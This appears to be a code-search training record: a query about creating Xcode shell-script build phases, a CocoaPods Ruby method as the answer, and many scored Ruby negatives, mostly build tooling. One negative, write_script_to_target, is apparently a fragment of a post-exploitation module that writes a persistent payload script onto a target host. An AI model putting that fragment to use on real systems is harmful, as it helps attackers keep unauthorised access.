\"/projects/#{project.name}/resources/#{name}\"\n\n !!client.delete(path)\n end", "def cleanup\n reshaper_orig_cleanup\n\n # remove some unwanted pages\n pages.delete_if do |page|\n path = page.destination(source)\n path =~ /shared\\/layouts/ or\n path =~ /shared\\/includes/\n end\n\n # remove some unwanted static files\n static_files.delete_if do |file|\n file.path =~ /shared\\/includes/ or\n file.path =~ /\\.styl$/ or # stylus files should be generated into site.css\n file.path =~ /readme\\./ # readme files are for github\n end\n\n end" ]
[ "0.66800314", "0.6514744", "0.62775815", "0.62116045", "0.6128252", "0.6071449", "0.6038747", "0.5961787", "0.596162", "0.5850976", "0.56830734", "0.56733406", "0.5597245", "0.5553472", "0.5553455", "0.5506269", "0.5488788", "0.5477906", "0.5455514", "0.54488474", "0.54360884", "0.5420852", "0.53999376", "0.5383219", "0.5371095", "0.5367141", "0.5359514", "0.5341076", "0.533395", "0.5326552", "0.53122354", "0.53091985", "0.5307976", "0.52920437", "0.5286656", "0.5279547", "0.52703905", "0.5249132", "0.5232456", "0.5230569", "0.52302897", "0.5218882", "0.5215496", "0.52069175", "0.52012706", "0.5198165", "0.51848465", "0.5184736", "0.5175287", "0.5170819", "0.5168959", "0.51677036", "0.51498747", "0.5147297", "0.5145194", "0.51426417", "0.5138424", "0.5136543", "0.51209", "0.51206344", "0.5117282", "0.5116138", "0.51056224", "0.50980145", "0.50804013", "0.5077796", "0.50736904", "0.5073653", "0.5063811", "0.50477004", "0.5047601", "0.5041992", "0.50381684", "0.50323796", "0.5030787", "0.50195026", "0.5016487", "0.50162387", "0.50056005", "0.50056005", "0.50006837", "0.499791", "0.49824604", "0.49764416", "0.49749705", "0.49709874", "0.49696487", "0.4967113", "0.4966325", "0.49628657", "0.49590972", "0.4957271", "0.495391", "0.4946152", "0.49429473", "0.49409112", "0.49403414", "0.4939369", "0.49392146", "0.49345502" ]
0.7444011
0
Creates or update a shell script build phase for the given target.
def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0') build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase) build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } || native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase| UI.message("Adding Build Phase '#{script_phase_name}' to project.") do phase.name = script_phase_name unless show_env_vars_in_log.nil? phase.show_env_vars_in_log = show_env_vars_in_log end native_target.build_phases << phase end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def new_shell_script_build_phase(name = nil)\n phase = project.new(PBXShellScriptBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def create_or_update_user_script_phases(script_phases, native_target)\n script_phase_names = script_phases.map { |k| k[:name] }\n # Delete script phases no longer present in the target.\n native_target_script_phases = native_target.shell_script_build_phases.select do |bp|\n !bp.name.nil? && bp.name.start_with?(USER_BUILD_PHASE_PREFIX)\n end\n native_target_script_phases.each do |script_phase|\n script_phase_name_without_prefix = script_phase.name.sub(USER_BUILD_PHASE_PREFIX, '')\n unless script_phase_names.include?(script_phase_name_without_prefix)\n native_target.build_phases.delete(script_phase)\n end\n end\n # Create or update the ones that are expected to be.\n script_phases.each do |script_phase|\n name_with_prefix = USER_BUILD_PHASE_PREFIX + script_phase[:name]\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, name_with_prefix, nil)\n phase.shell_script = script_phase[:script]\n phase.shell_path = script_phase[:shell_path] || '/bin/sh'\n phase.input_paths = script_phase[:input_files]\n phase.output_paths = script_phase[:output_files]\n phase.input_file_list_paths = script_phase[:input_file_lists]\n phase.output_file_list_paths = script_phase[:output_file_lists]\n phase.dependency_file = script_phase[:dependency_file]\n # At least with Xcode 10 `showEnvVarsInLog` is *NOT* set to any value even if it's checked and it only\n # gets set to '0' if the user has explicitly disabled this.\n if (show_env_vars_in_log = script_phase.fetch(:show_env_vars_in_log, '1')) == '0'\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n\n execution_position = script_phase[:execution_position]\n reorder_script_phase(native_target, phase, execution_position)\n end\n end", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def build\n if phase.has_key?('build')\n execute(\"build\", phase['build'])\n end\n end", "def remove_script_phase_from_target(native_target, phase_name)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def install_env_script(opts={})\n target = opts[:to] || raise(\"Need :to parameter\")\n\n script = 'env.sh'\n dirs = { 'PATH' => { 'insert' => path_dirs_for_distro(:couch_too => true),\n 'append' => [] },\n }\n\n # XXX: Code duplication from :configure.\n dirs['DYLD_LIBRARY_PATH'] = {'insert' => [\"#{target}/lib\"]} if DISTRO[0] == :osx\n\n template = ERB.new(File.open(\"#{HERE}/templates/#{script}.erb\").read())\n FileUtils.mkdir_p(target)\n File.open(\"#{target}/#{script}\", 'w') do |outfile|\n outfile.write(template.result(binding))\n outfile.close\n end\nend", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def build_script\n File.join(data_dir, 'build-script')\n end", "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def autorun_cmd(repo_name)\n [\"cp -Rf #{STARTDIR}/components/autogen/#{repo_name}/* .\",\n \"touch Makefile\"]\nend", "def my_post_build_step\n puts 'post-build step!'\nend", "def RunScript(script, action)\n return true if script == \"\"\n Builtins.y2milestone(\"rc%1 %2\", script, action)\n # Workaround for bug #61055:\n cmd = Builtins.sformat(\"cd /; /etc/init.d/%1 %2\", script, action)\n SCR.Execute(path(\".target.bash\"), cmd) == 0\n end", "def build\n cd_and_sh( pkg_dir, build_commands )\n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def add_user_script_phases\n native_targets.each do |native_target|\n TargetIntegrator.create_or_update_user_script_phases(target.target_definition.script_phases, native_target)\n end\n end", "def setup_target\n log \"Setting up #{@target}\"\n\n if File.exists? @target\n raise ArgumentError, %{Target directory \"#{@target}\" already exists}\n end\n\n FileUtils.mkdir @target\n\n run \"git init .\"\n\n # TODO: Create runner file\n end", "def make_agent_script build_spec\n commands = agent_setup_commands\n\n BuildSpecRunner::BuildSpec::PHASES.each do |phase|\n commands.push(*agent_phase_commands(build_spec, phase))\n end\n\n [\"bash\", \"-c\", commands.join(\"\\n\")]\n end", "def build_script\n raise NotImplementedError\n end", "def add_check_manifest_lock_script_phase\n phase_name = CHECK_MANIFEST_PHASE_NAME\n native_targets.each do |native_target|\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n native_target.build_phases.unshift(phase).uniq! unless native_target.build_phases.first == phase\n phase.shell_script = <<-SH.strip_heredoc\n diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\n if [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\n fi\n # This output is used by Xcode 'outputs' to avoid re-running this script phase.\n echo \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n SH\n phase.input_paths = %w(${PODS_PODFILE_DIR_PATH}/Podfile.lock ${PODS_ROOT}/Manifest.lock)\n phase.output_paths = [target.check_manifest_lock_script_output_file_path]\n end\n end", "def execute\n supported_swift_versions = ['3.0', '4.0', '4.2']\n if !supported_swift_versions.include? swift_version\n signal_usage_error \"'#{swift_version}' swift version is not supported. Supported values: \" + supported_swift_versions.map { |v| \"'#{v}'\" }.join(\", \")\n end\n \n ProjectMod.apply_build_setting(name: 'SWIFT_VERSION', value: \"#{swift_version}.0\", target_names: target_list)\n \n targets_string = target_list.empty? ? 'All targets' : (target_list.join(\", \") + \" targets\")\n puts \"#{targets_string} were updated to use Swift #{swift_version}!\" \n end", "def add_input_path_to_script_phase(script_phase, name, platform)\n input_path = \"$(SRCROOT)/#{make_carthage_build_path(name, platform)}\"\n script_phase.input_paths << input_path\nend", "def script_file\n staged_root.join(\"script.sh\")\n end", "def script_phase(options)\n raise Informative, 'Script phases can only be added within target definitions.' if current_target_definition.root?\n raise Informative, 'Script phases cannot be added to abstract targets.' if current_target_definition.abstract?\n current_target_definition.store_script_phase(options)\n end", "def perform_deployment\n \tself.started_at = Time.now \t\n \tline = Cocaine::CommandLine.new(\"cd /home/mohkhan.Desktop/SFDC_DeplomentScripts && perl fetch_and_deploy.pl -r #{self.release} -d <#{self.target_config_name}> --mode=#{self.mode}\")\n \tline.run\n \tself.ended_at = Time.now\n \tself.status = \"deployed\"\n \tself.save\n end", "def wrapper_script(wrapper_script, action_path, target_path, servers)\n lb = line_break\n env = @platform_info[\"environment_set\"]\n cmt = @platform_info[\"comment_char\"]\n script_name = File.basename(action_path)\n if windows?\n win_path = @nsh.dos_path(target_path)\n ext = \"bat\"\n script_path = \"#{win_path}\\\\#{script_name}\"\n else\n ext = \"sh\"\n script_path = \"#{target_path}/#{script_name}\"\n end\n log \"Executing via wrapper script:\"\n wrapper_script.chomp!(\"\\r\") \n if wrapper_script.include?(\"%%\")\n wrapper_script.gsub!(\"%%\", script_path)\n else\n wrapper_script += \" #{script_path}\"\n wrapper_script += lb\n end\n new_path = create_temp_action(wrapper_script, \"wrapper_#{precision_timestamp}.#{ext}\")\n log \"\\t Target: #{new_path}\"\n log \"\\t Wrapper: #{wrapper_script}\"\n result = @nsh.ncp(servers, action_path, target_path)\n log \"\\t Copy Results: #{result}\"\n new_path\n end", "def target_script\n target_language.standard_script\n end", "def deploy\n if phase.has_key?('deploy')\n execute(\"deploy\", phase['deploy'])\n end\n end", "def remove_embed_frameworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME)\n end", "def make\n @this_version = extract_version\n check\n with_release_candidate_version do |release_candidate_buildfile|\n args = []\n args << 'buildr' << '--buildfile' << release_candidate_buildfile\n args << '--environment' << Buildr.environment unless Buildr.environment.to_s.empty?\n args << 'clean' << 'upload' << 'DEBUG=no'\n sh *args\n end\n tag_release resolve_tag\n update_version_to_next if this_version != resolve_next_version(this_version)\n end", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def build_control_scripts\n @shell.call \"mkdir -p #{self.scripts_path}\"\n\n write_script \"env\", make_env_bash_script\n\n build_scripts = @scripts.dup\n\n if build_scripts[:restart].empty? &&\n !build_scripts[:start].empty? && !build_scripts[:stop].empty?\n build_scripts[:restart] << \"#{self.root_path}/stop\"\n build_scripts[:restart] << \"#{self.root_path}/start\"\n end\n\n if build_scripts[:status].empty?\n build_scripts[:status] << \"echo 'No status for #{self.name}'; exit 1;\"\n end\n\n build_scripts.each do |name, cmds|\n if cmds.empty?\n Sunshine.logger.warn @shell.host, \"#{name} script is empty\"\n end\n\n bash = make_bash_script name, cmds\n\n write_script name, bash\n end\n\n symlink_scripts_to_root @scripts.keys, \"env\"\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def build filetask,system_config,platform\n cmd_file=command_file(filetask.name,system_config,platform)\n if File.exists?(cmd_file)\n config=system_config.platform_config(platform)\n if cmd_file.end_with?('.library')\n cmdline = librarian(cmd_file,config)\n else\n cmdline = linker(cmd_file,config)\n end\n sh(cmdline.join(' '))\n else\n raise GaudiError, \"Missing command file for #{filetask.name}\"\n end\n end", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def setup(build, launcher, listener)\n listener << 'Bash execute'\n launcher.execute('bash', '-c', 'echo hello', {out: listener})\n end", "def write_script_to_target(payloadsource, ext)\n tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')\n tempfile = tempdir + \"\\\\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ext\n\n begin\n write_file(tempfile, payloadsource)\n print_good(\"Persistent Script written to #{tempfile}\")\n tempfile = tempfile.gsub(/\\\\/, '\\\\') # Escape windows pathname separators.\n rescue\n print_error(\"Could not write the payload on the target hosts.\")\n # return nil since we could not write the file on the target host.\n tempfile = nil\n end\n return tempfile\n end", "def set_launch_target(build_target)\n launch_runnable = BuildableProductRunnable.new(build_target, 0)\n launch_action.buildable_product_runnable = launch_runnable\n\n profile_runnable = BuildableProductRunnable.new(build_target, 0)\n profile_action.buildable_product_runnable = profile_runnable\n\n macro_exp = MacroExpansion.new(build_target)\n test_action.add_macro_expansion(macro_exp)\n end", "def install!\n\t\t\traise \"Target exists\" if target.present?\n\n\t\t\t# Directory entry - create the directory\n\t\t\ttarget.mkpath\n\t\tend", "def update_buildfile\n buildfile = change_version { |version| # THIS_VERSION minus SNAPSHOT\n resolve_next_version(this_version) # THIS_VERSION\n }\n File.open(Rake.application.rakefile.to_s, 'w') { |file| file.write buildfile }\n end", "def add_check_manifest_lock_script_phase\n phase_name = 'Check Pods Manifest.lock'\n native_targets.each do |native_target|\n next if native_target.shell_script_build_phases.any? { |phase| phase.name == phase_name }\n phase = native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n native_target.build_phases.unshift(phase)\n phase.name = phase_name\n phase.shell_script = <<-EOS.strip_heredoc\n diff \"${PODS_ROOT}/../Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\n if [[ $? != 0 ]] ; then\n cat << EOM\n error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\n EOM\n exit 1\n fi\n EOS\n phase.show_env_vars_in_log = '0'\n end\n end", "def perform_custom_initialization(_config)\n script_path = ENV[VAR_CUSTOM_INIT_SCRIPT]\n inform(\"Environment variable #{VAR_CUSTOM_INIT_SCRIPT}\") { \"'#{script_path}'\" }\n return if script_path.nil?\n return if script_path.empty?\n\n script_pathname = Pathname.getwd + script_path\n assure(\"Script at #{VAR_CUSTOM_INIT_SCRIPT} exists\") { script_pathname.exist? }\n\n assure_multiline(\"Running #{script_pathname} with sh in libraries working dir\") do\n Dir.chdir(@backend.lib_dir) do\n IO.popen([\"/bin/sh\", script_pathname.to_s], err: [:child, :out]) do |io|\n io.each_line { |line| puts \" #{line}\" }\n end\n end\n end\nend", "def make_bash_script name, cmds\n cmds = cmds.map{|cmd| \"(#{cmd})\" }\n\n cmds << \"echo true\"\n\n bash = <<-STR\n#!/bin/bash\nif [ \"$1\" == \"--no-env\" ]; then\n #{cmds.flatten.join(\" && \")}\nelse\n #{self.root_path}/env #{self.root_path}/#{name} --no-env\nfi\n STR\n end", "def build_site_command(destination=nil)\n staging_config_file = '_config.staging.yml'\n args = []\n args.concat ['--destination', destination] unless destination.nil?\n\n if File.exists? staging_config_file\n args.concat ['--config', \"_config.yml,#{staging_config_file}\"]\n end\n\n ['bundle', 'exec', 'jekyll', 'build', *args]\nend", "def setup_sbt_build_targets(cmp, build_vars)\n cmp_src_path = component_src_path cmp\n cmp_build_bin = component_build_bin cmp\n cmp_hadoop_versions = component_hadoop_versions cmp\n cmp_spark_versions = component_spark_versions cmp\n\n # SBT build (for Scala code)\n sbt_file = lookup_sbt_file(cmp_src_path)\n if sbt_file != ''\n if cmp_build_bin != 'sbt'\n STDERR.puts \"[#{cmp}]: the builder is configured (in the YAML file) as '#{cmp_build_bin}', however it seems to be 'sbt'. Look in the source directory ('#{cmp_src_path}') for more details\"\n end\n\n # Store the SBT build file\n build_vars['BUILDER_FILES'] << sbt_file\n\n # Extract the elements of version from the SBT build file\n (sbt_version, has_hadoop, has_spark) = lookup_version_from_sbt_build(sbt_file)\n\n # Store the elements of version\n build_vars['PACKAGE_VERSIONS'][sbt_version] = true\n build_vars['HAS_HADOOP'] = has_hadoop\n build_vars['HAS_SPARK'] = has_spark\n\n # Set up the SBT build command line\n sbt_args_hadoop_list = Array.new\n sbt_args_list = Array.new\n sbt_args_base = \"\\'; #{CONF_SBT_ARGS} ; set version := \\\"#{sbt_version}\"\n if has_hadoop\n # There should be a target for every version of Hadoop\n cmp_hadoop_versions.each do |hadoop_version|\n sbt_args = \"#{sbt_args_base}-hadoop#{hadoop_version}\"\n sbt_args_hadoop_list << sbt_args\n end\n end\n\n if has_spark\n # When building for Spark, Hadoop is necessarily part of the target\n cmp_spark_versions.each do |spark_version|\n sbt_args_hadoop_list.each do |sbt_args|\n sbt_args += \"-spark#{spark_version}\"\n sbt_args_list << sbt_args\n end\n end\n\n else\n # Target for Hadoop, but not Spark\n sbt_args_hadoop_list.each do |sbt_args|\n sbt_args_list << sbt_args\n end\n end\n\n if sbt_args_list.empty?\n # Target with Hadoop, and potentially Spark\n sbt_args = sbt_args_base + \"\\\"\\'\"\n\n cmp_builder_cmds = \"#{cmp_build_bin} #{sbt_args}\"\n build_vars['BUILDER_CMDS'] = \"#{cmp_builder_cmds}\"\n\n cmp_builder_tasks = \"+compile +package +publishM2 +publishLocal\"\n build_vars['BUILDER_FULL_CMDS'] << \"#{cmp_builder_cmds} #{cmp_builder_tasks}\"\n # Set up the SBT test command line\n cmp_test_tasks = \"+test\"\n build_vars['TEST_FULL_CMDS'] << \"#{cmp_builder_cmds} #{cmp_test_tasks}\"\n\n else\n # Target with neither Hadoop nor Spark\n sbt_args_list.each do |sbt_args|\n sbt_args += \"\\\"\\'\"\n\n cmp_builder_cmds = \"#{cmp_build_bin} #{sbt_args}\"\n build_vars['BUILDER_CMDS'] = \"#{cmp_builder_cmds}\"\n \n cmp_builder_tasks = \"+compile +package +publishM2 +publishLocal\"\n build_vars['BUILDER_FULL_CMDS'] << \"#{cmp_builder_cmds} #{cmp_builder_tasks}\"\n \n # Set up the SBT test command line\n cmp_test_tasks = \"+test\"\n build_vars['TEST_FULL_CMDS'] << \"#{cmp_builder_cmds} #{cmp_test_tasks}\"\n end\n end\n\n else\n STDERR.puts \"[#{cmp}]: cannot determine the builder in '#{cmp_src_path}'\"\n end\nend", "def build_wrapper_script(os_platform, shebang, properties)\n msg = \"Environment variables from BRPM\"\n wrapper = 